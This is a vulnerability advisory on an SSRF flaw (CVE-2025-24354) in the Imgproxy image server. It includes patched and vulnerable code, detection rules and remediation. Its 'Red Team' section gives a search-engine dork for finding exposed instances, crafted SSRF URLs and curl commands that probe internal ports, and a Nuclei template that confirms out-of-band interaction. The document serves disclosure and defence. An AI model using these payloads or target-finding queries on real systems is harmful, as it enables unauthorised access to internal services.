CVE-2025-24354

Executive Summary

CVE-2025-24354 is a Server-Side Request Forgery (SSRF) vulnerability in Imgproxy, an image processing and resizing server. The vulnerability arises because Imgproxy fails to block the unspecified IP address 0.0.0.0 even when the IMGPROXY_ALLOW_LOOPBACK_SOURCE_ADDRESSES configuration option is set to false. This oversight allows an attacker to bypass intended restrictions and make requests to services listening on all interfaces of the local host, potentially exposing internal services to unauthorized access.

The vulnerability has a CVSS score of 5.3 (Medium) and is exploitable over the network without authentication. A public Nuclei template exists, confirming the availability of a proof-of-concept. The fix is available in Imgproxy version 3.27.2.

Supply Chain & Package Security

Imgproxy is a Go-based application distributed as a Docker container and also available via GitHub releases. The vulnerability affects all versions prior to 3.27.2. Users should update their Docker images or binaries to the patched version. There are no known malicious packages or compromised dependencies associated with this CVE.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerable component and the affected resource are the same.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): None (N) - No data integrity impact.
• Availability (A): None (N) - No impact on availability.

CVSS Score: 5.3 (Medium)

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential to access internal services make this a significant concern for organizations using Imgproxy in a network-facing capacity.

Deep Dive & Mechanics

The core issue lies in the source address validation logic within Imgproxy. The application uses the IMGPROXY_ALLOW_LOOPBACK_SOURCE_ADDRESSES configuration flag to control whether requests to loopback addresses (e.g., 127.0.0.1, ::1) are allowed. When set to false, the application should block all requests to localhost.

However, the validation only checks for loopback addresses using ip.IsLoopback(). It does not check for the unspecified address 0.0.0.0. The address 0.0.0.0 in IPv4 is a non-routable meta-address used to designate an invalid, unknown, or non-applicable target. When a service binds to 0.0.0.0, it listens on all available network interfaces, including the loopback interface. Therefore, an attacker can craft a request to http://0.0.0.0:<port> to reach services listening on all interfaces, effectively bypassing the loopback restriction.

The fix involves adding a check for unspecified IP addresses using ip.IsUnspecified(). This ensures that both loopback and unspecified addresses are blocked when the configuration flag is set to false.

Vulnerable vs. Patched Code

Vulnerable Code (before 3.27.2):

// Simplified example of the vulnerable validation logic
func isAllowedSourceAddress(ip net.IP) bool {
    if !config.AllowLoopbackSourceAddresses && ip.IsLoopback() {
        return false
    }
    return true
}

Patched Code (3.27.2 and later):

// Simplified example of the patched validation logic
func isAllowedSourceAddress(ip net.IP) bool {
    if !config.AllowLoopbackSourceAddresses && (ip.IsLoopback() || ip.IsUnspecified()) {
        return false
    }
    return true
}

The key difference is the addition of ip.IsUnspecified() in the conditional check.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running Imgproxy version < 3.27.2.
• Network access to the Imgproxy instance.
• An internal service listening on 0.0.0.0 (e.g., a Redis, MySQL, or internal API).

Exploitation Steps:

1. Identify the target: Use Shodan or FOFA with the dork http.html:"imgproxy" to find exposed Imgproxy instances.
2. Craft the SSRF payload: The payload uses the Imgproxy URL format to request an internal resource via the 0.0.0.0 address.

   http://<target>/unsafe/plain/http://0.0.0.0:<internal_port>/
   

   For example, to probe a Redis service on port 6379:

   http://<target>/unsafe/plain/http://0.0.0.0:6379/
   

3. Execute the request: Send the crafted URL using a tool like curl or a web browser.

   curl -v "http://<target>/unsafe/plain/http://0.0.0.0:6379/"
   

4. Analyze the response: If the internal service responds, the response body may contain data from that service (e.g., Redis error messages or data). A successful SSRF will often result in a non-standard response or a timeout, depending on the internal service.

Nuclei Template Usage: The provided Nuclei template can be used to automate detection and exploitation. It uses an interactsh server to confirm out-of-band (OOB) interaction.

nuclei -t CVE-2025-24354.yaml -u http://<target>

Blue Team

Detection:

• Monitor for requests to Imgproxy with URLs containing 0.0.0.0 in the path.
• Look for unusual outbound connections from the Imgproxy server to internal IP addresses or unexpected ports.
• Analyze web server logs for requests with a status code of 422 and the body containing "Invalid source image", which is a typical response when the SSRF target is unreachable or returns an error.

Hunting:

• Search for logs where the path field contains 0.0.0.0.
• Correlate Imgproxy requests with subsequent connections to internal services.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to Imgproxy with the pattern /unsafe/plain/http://0.0.0.0:*.
  • Outbound connections from the Imgproxy server to internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x) on non-standard ports.
• Log IOCs:
  • Web server logs showing requests with 0.0.0.0 in the URL.
  • Imgproxy logs containing "Invalid source image" errors for requests targeting 0.0.0.0.
• File IOCs:
  • No specific file-based IOCs are associated with this vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_24354_Imgproxy_SSRF {
    meta:
        description = "Detects SSRF attempts against Imgproxy using 0.0.0.0 address"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://github.com/imgproxy/imgproxy/security/advisories/GHSA-j2hp-6m75-v4j4"
        severity = "medium"
    strings:
        $ssrf_pattern = "/unsafe/plain/http://0.0.0.0" ascii wide nocase
    condition:
        $ssrf_pattern
}

Sigma Rule

title: Imgproxy SSRF via 0.0.0.0 Address
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Imgproxy that attempt to exploit CVE-2025-24354 by using the 0.0.0.0 address.
author: Valters IT
date: 2025-04-10
references:
    - https://github.com/imgproxy/imgproxy/security/advisories/GHSA-j2hp-6m75-v4j4
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-uri-query|contains: "/unsafe/plain/http://0.0.0.0"
    condition: selection
falsepositives:
    - Legitimate use of 0.0.0.0 in a URL (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24354 Imgproxy SSRF via 0.0.0.0"; flow:to_server; content:"/unsafe/plain/http://0.0.0.0"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2025-24354

info:
  name: Imgproxy < 3.27.2 - Server-Side Request Forgery (SSRF)
  author: oksuzkayra
  severity: medium
  description: |
    imgproxy contains an issue caused by not blocking the 0.0.0.0 address even when IMGPROXY_ALLOW_LOOPBACK_SOURCE_ADDRESSES is set to false, letting local services be exposed, exploit requires network access.
  impact: |
    Local services may be exposed to unauthorized access, risking information disclosure or local system compromise.
  remediation: |
    The vulnerability has been fixed in imgproxy version 3.27.2. The fix involves updating the source address verification to also check for unspecified IP addresses (0.0.0.0) using the ip.IsUnspecified() function in addition to the existing ip.IsLoopback() check.
  reference:
    - https://github.com/imgproxy/imgproxy/commit/3d4fed6842aa8930ec224d0ad75b0079b858e081
    - https://github.com/imgproxy/imgproxy/security/advisories/GHSA-j2hp-6m75-v4j4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-24354
    cwe-id: CWE-918
    epss-score: 0.02218
    epss-percentile: 0.84552
  metadata:
    verified: true
    max-request: 1
    product: imgproxy
    shodan-query: http.html:"imgproxy"
    fofa-query: body="imgproxy"
  tags: cve,cve2025,imgproxy,ssrf,oast,oob,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/unsafe/plain/http://{{interactsh-url}}"

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')"
          - "status_code == 422"
          - "contains(body, 'Invalid source image')"
        condition: and
# digest: 4a0a00473045022100f209bccd7ee19bfb51f7b71e6ad795deaad44eab8e3289462be7869f0132c21c02200c4895942aff4d58dd9ab25988b2a2e62d8dea21bf4c3b9c5a52db91d8bcdd7c:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade Imgproxy: Update to version 3.27.2 or later. This is the only complete fix.
   • Docker: docker pull darthsim/imgproxy:latest
   • Binary: Download the latest release from the GitHub releases page.
2. Network Segmentation: If an immediate upgrade is not possible, restrict network access to the Imgproxy instance using a firewall or Web Application Firewall (WAF). Only allow trusted source IPs to connect.
3. WAF Rules: Deploy a WAF rule to block requests containing 0.0.0.0 in the URL path.

Long-Term Mitigations:

• Implement strict network segmentation for all image processing services.
• Regularly audit and update all dependencies.
• Monitor for SSRF-related CVEs and apply patches promptly.
• Use a dedicated internal DNS resolver that does not resolve 0.0.0.0.

Valters IT

{/* [Security Hash: 85003A3DDCD9A6C168E525FD] */}